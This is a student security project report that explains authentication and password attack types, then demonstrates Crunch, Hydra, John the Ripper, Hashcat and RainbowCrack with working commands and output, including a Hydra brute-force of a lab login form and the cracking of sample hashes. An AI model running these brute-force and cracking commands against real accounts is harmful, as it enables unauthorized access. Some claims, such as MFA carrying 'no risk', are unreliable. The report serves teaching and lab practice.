Application Security Project

Date : - 5/10/2022

Project Description: - Identifying, cracking techniques and tools for Password attacks & Hashes

- **Authentication:** Authentication is process to identified someone (generally used user) who is claims to be. Mostly used technique is username and password for verify or authenticate user identity

Ex: The website provides login form for username and password

❖ **There 3 types of authentication:**

1. **Single-Factor authentication**
2. **Two-factor Authentication**
3. **Multi-Factor authentication**

1. Single-Factor authentication: – This was the first method of security that was developed. On this authentication system, the user has to enter the username and the password to confirm whether that user is logging in or not. Now if the username or password is wrong, then the user will not be allowed to log in or access the system.

Advantage: –

- It is a very simple to use and straightforward system.
- it is not at all costly.
- The user does not need any huge technical skills.

Disadvantage: –

- It is not at all password secure. It will depend on the strength of the password entered by the user.
- The protection level in Single-Factor Authentication is much low.

2. Two-factor Authentication: – In this authentication system, the user has to give a username, password, and other information. There are various types of authentication systems that are used by the user for securing the system. Some of them are: – wireless tokens and virtual tokens. OTP and more.

Advantage: –

- The Two-Factor Authentication System provides better security than the Single-factor Authentication system.

- The productivity and flexibility increase in the two-factor authentication system.
- Two-Factor Authentication prevents the loss of trust.

Disadvantage: –

- It is time-consuming.

3.Multi-Factor authentication : – In this type of authentication, more than one factor of authentication is needed. This gives better security to the user. Any type of keylogger or phishing attack will not be possible in a Multi-Factor Authentication system. This assures the user, that the information will not get stolen from them.

Advantage: –

- No risk of security.
- No information could get stolen.
- No risk of any key-logger activity.
- No risk of any data getting captured.

Disadvantage: –

- It is time-consuming.
- it can rely on third parties. The main objective of authentication is to allow authorized users to access the computer and to deny access to unauthorized users. Operating Systems generally identify/authenticates users using the following 3 ways: Passwords, Physical identification, and Biometrics. These are explained as following below.

- Passwords: Password verification is the most popular and commonly used authentication technique. A password is a secret text that is supposed to be known only to a user. In a password-based system, each user is assigned a valid username and password by the system administrator.

- The system stores all usernames and Passwords. When a user logs in, their user name and password are verified by comparing them with the stored login name and password. If the contents are the same then the user is allowed to access the system otherwise it is rejected.Physical Identification: This technique includes machine-readable badges(symbols), cards, or smart cards. In some companies, badges are required for employees to gain access to the organization’s gate.

- Biometrics: This method of authentication is based on the unique biological characteristics of each user such as fingerprints, voice or face recognition, signatures, and eyes.

- A scanner or other devices to gather the necessary data about the user

- Software to convert the data into a form that can be compared and stored.

- A database that stores information for all authorized users.

- **Password Attacks**

  ❖ **Types Of Password attacks**

  - Simple Brute Force Attack
  - Dictionary Attack
  - Hybrid Brute Force Attack
  - Reverse Brute Force Attack
  - Credential Stuffing
  - Rule-based attack
  - Rainbow table attack

➢ **Simple Brute Force Attack :**

A simple brute force attack uses automation and scripts to guess passwords. Typical brute force attacks make a few hundred guesses every second. Simple passwords, such as those lacking a mix of upper- and lowercase letters and those using common expressions like '123456' or 'password,' can be cracked in minutes

➢ **Dictionary Attack :**

A Dictionary Attack is an attack vector used by the attacker to break in a system, which is password protected, by putting technically every word in a dictionary as a form of password for that system. This attack vector is a form of Brute Force Attack.

The dictionary can contain words from an English dictionary and also some leaked list of commonly used passwords and when combined with common character replacing with numbers, can sometimes be very effective and fast.

➢ **Hybrid Brute Force Attack :**

A hybrid brute force attack combines a dictionary attack and a brute force attack

➢ **Reverse Brute Force Attack :**

A reverse brute-force attack is a type of brute-force attack in which an attacker uses a common password against multiple usernames in an attempt to gain access to a network. This term can also be written as reverse brute force attack, without the hyphen.

- **Credential Stuffing**

  Credential stuffing is a cyberattack method in which attackers use lists of compromised user credentials to breach into a system. The attack uses bots for automation and scale and is based on the assumption that many users reuse usernames and passwords across multiple services.

- **Rule-based attack**

  A rule-based password attack is a way of focusing a password cracking technique when an attacker knows which rules passwords in a particular system are based on, such as “alphanumeric and eight characters long.”

- **Rainbow table attack**

  A rainbow table attack is a password cracking method that uses a special table (a “rainbow table”) to crack the password hashes in a database

- **Demonstration :**

  - **There are some tools which is widely used for password attacks and its listed below**

    - **Crunch**
    - **Hydra**
    - **john the ripper**
    - **hashcat**
    - **Rainbow cracker**

    - **Crunch**

      Description:

      Crunch is a wordlist generator where you can specify a standard character set or any set of characters to be used in generating the wordlists.

      Installation:

      Crunch is available by default in kali linux.

Command line code : sudo apt install crunch
Git clone: https://github.com/jim3ma/crunch.git

Usage :

Syntax:
crunch <min> <max> [options]

Help:
crunch -h

```
┌──(root㉿kali)-[/home/np/Documents]
└─# crunch -h
crunch version 3.6

Crunch can create a wordlist based on criteria you specify.  The output from crunch can be sent to the screen, file, or to another program.

Usage: crunch <min> <max> [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.
```

Creating wordlists

There are many options and way to create different types of wordlists according to the need. We can find the options in manual page of crunch.

crunch 3 5 -o wordlists.txt

3=minimum length
5=maximum length
o=for saving file

```
┌──(root㉿kali)-[/home/np/Documents]
└─# crunch 3 5 -o wordlists.txt

Crunch will now generate the following amount of data: 73643440 bytes
70 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 12355928

crunch:  53% completed generating output

crunch: 100% completed generating output
```

Result:

```
┌──(root㉿kali)-[/home/np/Documents]
└─# cat wordlists.txt
aaa
aab
aac
aad
aae
aaf
aag
aah
aai
aaj
aak
aal
aam
aan
```

Here are some more examples:

- For specific characters

  #crunch 3 5 abcd123 -o wordlists.txt

- For inverting

  # crunch 3 5 abcd123 -i -o wordlists.txt

- wordlists start with specific string

  # crunch 3 5 -s passwd -o wordlists.txt

➢ Hydra

Description:

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely

Installation:

Hydra is available by default in kali linux.

Command line code : sudo apt install hydra
Git clone: https://github.com/vanhauser-thc/thc-hydra.git

Usage :

Syntax:
hydra [options]

Help:
hydra -h

```
┌──(root㉿kali)-[/home/np/Documents]
└─# hydra -h
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x
MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -r        use a non-random shuffling method for option -x
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -O        use old SSL v2 and v3
  -K        do not redo failed attempts (good for -M mass scanning)
  -q        do not print messages about connection errors
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)
```

Hydra is brute forcing tool which is provide many options and many services for attack like ssh,ftp etc..

In this example we are going to brute force password.

```
# hydra -L <wordlists> -P <wordlist> MACHINE_IP http-post-form "<login page url>/:username=^USER^&password=^PASS^:F=incorrect" -V
```

```
#hydra -L username.txt -P password.txt  10.10.202.75 http-post-form "/login/:username=^USER^&password=^PASS^:F=incorrect" -V
```

```
┌──(root㉿kali)-[/home/np/Downloads]
└─# hydra -L username.txt  -P password.txt  10.10.202.75  http-post-form "login/:username=^USER^&password=^PASS^:F=incorrect" -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics anyway).
```

Result

Username=molly & password = sunshine

```
┌──(root㉿kali)-[/home/np/Downloads]
└─# hydra -L username.txt  -P password.txt  10.10.202.75  http-post-form "/login/:username=^USER^&password=^PASS^:F=incorrect" -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-05 15:04:34
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task
[DATA] attacking http-post-form://10.10.202.75:80/login/:username=^USER^&password=^PASS^:F=incorrect
[ATTEMPT] target 10.10.202.75 - login "monkey" - pass "jordan" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target 10.10.202.75 - login "monkey" - pass "sunshine" - 2 of 4 [child 1] (0/0)
[ATTEMPT] target 10.10.202.75 - login "molly" - pass "jordan" - 3 of 4 [child 2] (0/0)
[ATTEMPT] target 10.10.202.75 - login "molly" - pass "sunshine" - 4 of 4 [child 3] (0/0)
[80][http-post-form] host: 10.10.202.75   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-05 15:04:37
```

HASH identifier

The tools **hashid** & **hash-identifier** are used For identifying the hashes.

Hashid

```
┌──(root㉿kali)-[/]
└─# hashid 1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032

Analyzing '1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
```

hash-identifier

```
┌──(root㉿kali)-[/]
└─# hash-identifier
   ##########################################################################
   #     __  __                     __           ______    ____            #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _`\          #
   #    \ \ \_\ \     __      ___ \ \ \___     \/_/\ \/  \ \ \/\_\        #
   #     \ \  _  \  /'__`\   /',__\ \ \  _ `\      \ \ \   \ \ \/_/_       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   ##########################################################################
--------------------------------------------------
 HASH: 1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
--------------------------------------------------
 HASH:
```

- **John the ripper**

Description:

John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems, that combines several different cracking programs and runs in both brute force and dictionary attack modes and supports hundreds type of hash and cipher.

Installation:

John the Ripper is available by default in kali linux.

Git clone : https://github.com/openwall/john.git
Window/Others : https://www.openwall.com/john/

Usage :

Syntax:
john [options] [password files]

Help:
john -h

```
┌──(root㉿kali)-[/]
└─# john -h
John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64 AVX2 AC]
Copyright (c) 1996-2021 by Solar Designer and others
Homepage: https://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]

--help                      Print usage summary
--single[=SECTION[,..]]     "Single crack" mode, using default or named rules
--single=:rule[,..]         Same, using "immediate" rule(s)
--single-seed=WORD[,WORD]   Add static seed word(s) for all salts in single mode
--single-wordlist=FILE      *Short* wordlist with static seed words/morphemes
--single-user-seed=FILE     Wordlist with seeds per username (user:password[s]
                            format)
--single-pair-max=N         Override max. number of word pairs generated (6)
--no-single-pair            Disable single word pair generation
--[no-]single-retest-guess  Override config for SingleRetestGuess
--wordlist[=FILE] --stdin   Wordlist mode, read words from FILE or stdin
                  --pipe    like --stdin, but bulk reads, and allows rules
--rules[=SECTION[,..]]      Enable word mangling rules (for wordlist or PRINCE
                            modes), using default or named rules
--rules=:rule[;..]]         Same, using "immediate" rule(s)
--rules-stack=SECTION[,..]  Stacked rules, applied after regular rules or to
                            modes that otherwise don't support rules
--rules-stack=:rule[;..]    Same, using "immediate" rule(s)
--rules-skip-nop            Skip any NOP ":" rules (you already ran w/o rules)
--loopback[=FILE]           Like --wordlist, but extract words from a .pot file
--mem-file-size=SIZE        Size threshold for wordlist preload (default 2048 MB)
--dupe-suppression          Suppress all dupes in wordlist (and force preload)
--incremental[=MODE]        "Incremental" mode [using section MODE]
--incremental-charcount=N   Override CharCount for incremental mode
--external=MODE             External mode or word filter
```

John the ripper provides many options with many services such as ftp,ssh etc..

It’s also supports many hashes algorithms

In this the SHA256 encrypted hash is performed

Hash:

1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032

Hash type :SHA256

->Store the hash in file and name hash.txt(anything)

john –wordlist <wordlist path> <file name>

#john –wordlist= /usr/share/wordlists/rockyou.txt hash.txt

```
┌──(root㉿kali)-[/home/np/Downloads]
└─# john --wordlist= /usr/share/wordlists/rockyou.txt hash.txt
Warning: only loading hashes of type "tripcode", but also saw type "descrypt"
Use the "--format=descrypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "pix-md5"
Use the "--format=pix-md5" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "mysql"
Use the "--format=mysql" option to force loading hashes of that type instead
```

Result

Because of this hash is following SHA256 algorithem ww put it Raw-SHA256 in format option

The password is: letmein

```
┌──(root㉿kali)-[/home/np/Downloads]
└─# john --wordlist= /usr/share/wordlists/rockyou.txt hash.txt --format=Raw-SHA256
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 22 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (?)
1g 0:00:00:00 DONE (2022-11-05 17:07) 33.33g/s 118200p/s 118200c/s 2600KC/s 123456..sss
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
```

- **Hashcat**

Description:

Hashcat is the world's fastest and most advanced password recovery utility, used for licit and illicit purposes. Hashat is a particularly fast, efficient, and versatile hacking tool that assists brute-force attacks by conducting them with hash values of passwords that the tool is guessing or applying.

World's first and only in-kernel rule engine.

Supporting five unique modes of attack for over 300 highly-optimized hashing.

Installation:

Hashcat is available by default in kali linux.

Git clone: https://github.com/hashcat/hashcat.git
Window/Others : https://hashcat.net/hashcat/

Usage :

Syntax:
hashcat [options] hash ,hash file, [dictionary]

Help:
hashcat -h

```
┌──(root㉿kali)-[/]
└─# hashcat -h
hashcat (v6.2.6) starting in help mode

Usage: hashcat [options] ... hash|hashfile|hccapxfile [dictionary|mask|directory] ...

- [ Options ] -

 Options Short / Long          | Type | Description                                          | Example
===============================+======+======================================================+=======================
 -m, --hash-type               | Num  | Hash-type, references below (otherwise autodetect)   | -m 1000
 -a, --attack-mode             | Num  | Attack-mode, see references below                    | -a 3
 -V, --version                 |      | Print version                                        |
 -h, --help                    |      | Print help                                           |
     --quiet                   |      | Suppress output                                      |
     --hex-charset             |      | Assume charset is given in hex                       |
     --hex-salt                |      | Assume salt is given in hex                          |
     --hex-wordlist            |      | Assume words in wordlist are given in hex            |
     --force                   |      | Ignore warnings                                      |
     --deprecated-check-disable|      | Enable deprecated plugins                            |
     --status                  |      | Enable automatic update of the status screen         |
     --status-json             |      | Enable JSON format for status output                 |
     --status-timer            | Num  | Sets seconds between status screen updates to X      | --status-timer=1
     --stdin-timeout-abort     | Num  | Abort if there is no input from stdin for X seconds  | --stdin-timeout-abort=300
     --machine-readable        |      | Display the status view in a machine-readable format |
     --keep-guessing           |      | Keep guessing the hash after it has been cracked     |
     --self-test-disable       |      | Disable self-test functionality on startup           |
     --loopback                |      | Add new plains to induct directory                   |
     --markov-hcstat2          | File | Specify hcstat2 file to use                          | --markov-hcstat2=my.hcstat2
     --markov-disable          |      | Disables markov-chains, emulates classic brute-force |
     --markov-classic          |      | Enables classic markov-chains, no per-position       |
     --markov-inverse          |      | Enables inverse markov-chains, no per-position       |
-t,  --markov-threshold        | Num  | Threshold X when to stop accepting new markov-chains | -t 50
```

Hash:

6aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

Hash type :SHA12

hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt

```
┌──(root㉿kali)-[/home/np/Downloads]
└─# hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
```

-m 0 designates the type of hash we are cracking (MD5)
-a 0 designates a dictionary attack
-o <name of file>is the output file for the cracked passwords
hashe.txt is our input file of hashes
/usr/share/wordlists/rockyou.txt is the absolute path to the wordlist file for this dictionary attack

Result

password:= waka99

```
* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.:waka99

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPM ... ZAs02.
Time.Started.....: Sat Nov  5 17:13:24 2022 (45 mins, 15 secs)
Time.Estimated ...: Sat Nov  5 17:58:39 2022 (0 secs)
Kernel.Feature ...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1340 H/s (1.58ms) @ Accel:256 Loops:32 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2832128/14344385 (19.74%)
Rejected.........: 0/2832128 (0.00%)
Restore.Point....: 2831872/14344385 (19.74%)
Restore.Sub.#1 ...: Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidate.Engine.: Device Generator
Candidates.#1....: wakaguma → waizsr
Hardware.Mon.#1..: Util: 75%

Started: Sat Nov  5 17:11:24 2022
Stopped: Sat Nov  5 17:58:41 2022
```

- **Rainbow cracker**

Description:

RainbowCrack is a general propose implementation of Philippe Oechslin's faster time-memory trade-off technique. It crack hashes with rainbow tables. RainbowCrack uses time-memory tradeoff algorithm to crack hashes. It differs from the hash crackers that use brute force algorithm.

Installation:

Rainbow cracker is available by default in kali linux.

Git clone: https://gitlab.com/kalilinux/packages/rainbowcrack.git

Usage :

Syntax:
#rtgen md5 lowercase(character set) 1 <minimum length> 3 <maximum length> 0 <table index> 1000<chain length> 1000 <chain number> 0 <part index>

#rtgen md5 lowercase-numeric 1 3 0 1000 1000 0

Help:

#rtgen -h

```
┌──(root㉿kali)-[/]
└─# rtgen -h
RainbowCrack 1.8
Copyright 2020 RainbowCrack Project. All rights reserved.
http://project-rainbowcrack.com/

usage: rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index
       rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index -bench

hash algorithms implemented:
    lm HashLen=8 PlaintextLen=0-7
    ntlm HashLen=16 PlaintextLen=0-15
    md5 HashLen=16 PlaintextLen=0-15
    sha1 HashLen=20 PlaintextLen=0-20
    sha256 HashLen=32 PlaintextLen=0-20

examples:
    rtgen md5 loweralpha 1 7 0 1000 1000 0
    rtgen md5 loweralpha 1 7 0 -bench
```

Creating rainbow table of md5

rtgen md5 lowercase-numeric 1 3 0 1000 1000 0

```
┌──(root㉿kali)-[/usr/share/rainbowcrack]
└─# rtgen md5 loweralpha-numeric  1 3 0 1000 1000 0
rainbow table md5_loweralpha-numeric#1-3_0_1000×1000_0.rt parameters
hash algorithm:         md5
hash length:            16
charset name:           loweralpha-numeric
charset data:           abcdefghijklmnopqrstuvwxyz0123456789
charset data in hex:    61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39
charset length:         36
plaintext length range: 1 - 3
reduce offset:          0×00000000
plaintext total:        47988

sequential starting point begin from 0 (0×0000000000000000)
generating ...
1000 of 1000 rainbow chains generated (0 m 0.0 s)
```

You can find this table in **/usr/share/rainbowcrack/** directory

Now short the table

#rtsort <table name>
#rtsort .

```
┌──(root㉿kali)-[/usr/share/rainbowcrack]
└─# rtsort md5_loweralpha-numeric\#1-3_0_1000×1000_0.rt

┌──(root㉿kali)-[/usr/share/rainbowcrack]
└─# rtsort .
./md5_loweralpha-numeric#1-3_0_1000×1000_0.rt:
5721571328 bytes memory available
loading data ...
sorting data ...
writing sorted data ...

./md5_loweralpha#1-3_0_1000×1000_0.rt:
5721571328 bytes memory available
loading data ...
sorting data ...
writing sorted data ...
```

Creating 3 number hash of md5

#echo -n "etc" | md5sum

```
┌──(root㉿kali)-[/usr/share/rainbowcrack]
└─# echo -n "etc" | md5sum
e80f17310109447772dca82b45ef35a5  -
```

The “etc” is now md5 encrypted

created hash : e80f17310109447772dca82b45ef35a5

Result

Cracking the hashes

#rcrack <table name> -h <hashes> hase

#./rcrack . -h e80f17310109447772dca82b45ef35a5

```
┌──(root㉿kali)-[/usr/share/rainbowcrack]
└─# ./rcrack . -h e80f17310109447772dca82b45ef35a5
2 rainbow tables found
memory available: 4581107302 bytes
memory for rainbow chain traverse: 16000 bytes per hash, 16000 bytes for 1 hashes
memory for rainbow table buffer: 2 x 16016 bytes
disk: ./md5_loweralpha#1-3_0_1000×1000_0.rt: 16000 bytes read
disk: ./md5_loweralpha-numeric#1-3_0_1000×1000_0.rt: 16000 bytes read
disk: finished reading all files
plaintext of e80f17310109447772dca82b45ef35a5 is etc

statistics
--------------------------------------------------------------------------------
plaintext found:                        1 of 1
total time:                             0.03 s
time of chain traverse:                 0.02 s
time of alarm check:                    0.00 s
time of disk read:                      0.00 s
hash & reduce calculation of chain traverse: 499000
hash & reduce calculation of alarm check:    1382
number of alarm:                        468
performance of chain traverse:          20.79 million/s
performance of alarm check:             0.69 million/s

result
--------------------------------------------------------------------------------
e80f17310109447772dca82b45ef35a5  etc  hex:657463
```

We get the etc in normal from after cracking the hash

- **Data Breach**

There are many reasons of data breach but authentication failure Is common .there are some issue that raise a attack like password attacks, mis-configuration, authentication bypass.

Because of this security loophole's an attacker is able to successfully execute a cyber attack

A attacker use's this details and credential for more impact and also for ransomware attack .

If a data breach is happen with any company then its big loss for company in all terms like reputation, financial, customer relationships etc…

There are some world biggest company's who had faced some cyber attack and data breach and they lost millions of dollars .

Here is the one popular data breach in the history .

The biggest attack in history Yahoo cyber attack

https://www.yahoo.com/now/worst-cyber-attacks-past-10-202226243.html?guccounter=1&guce_referrer=aHR0cHM6Ly9kdWNrZHVja2dvLmNvbS8&guce_referrer_sig=AQAAAHxl3gD6DU7AvMBEkUiU4fuvFkBB7cwT3nmt9IfwOjUCbOu1aM_RQ2-S80fACTGXkm2kAhjooEsmAvNUhjGWWAfdlo_ZIyeirKpYhABzXQuLYGKlAIQEkyOle8w_tHuGVHUfhAd8zauceYrhHRfeEf5VjlgwtYrClfJUCnnbkPv3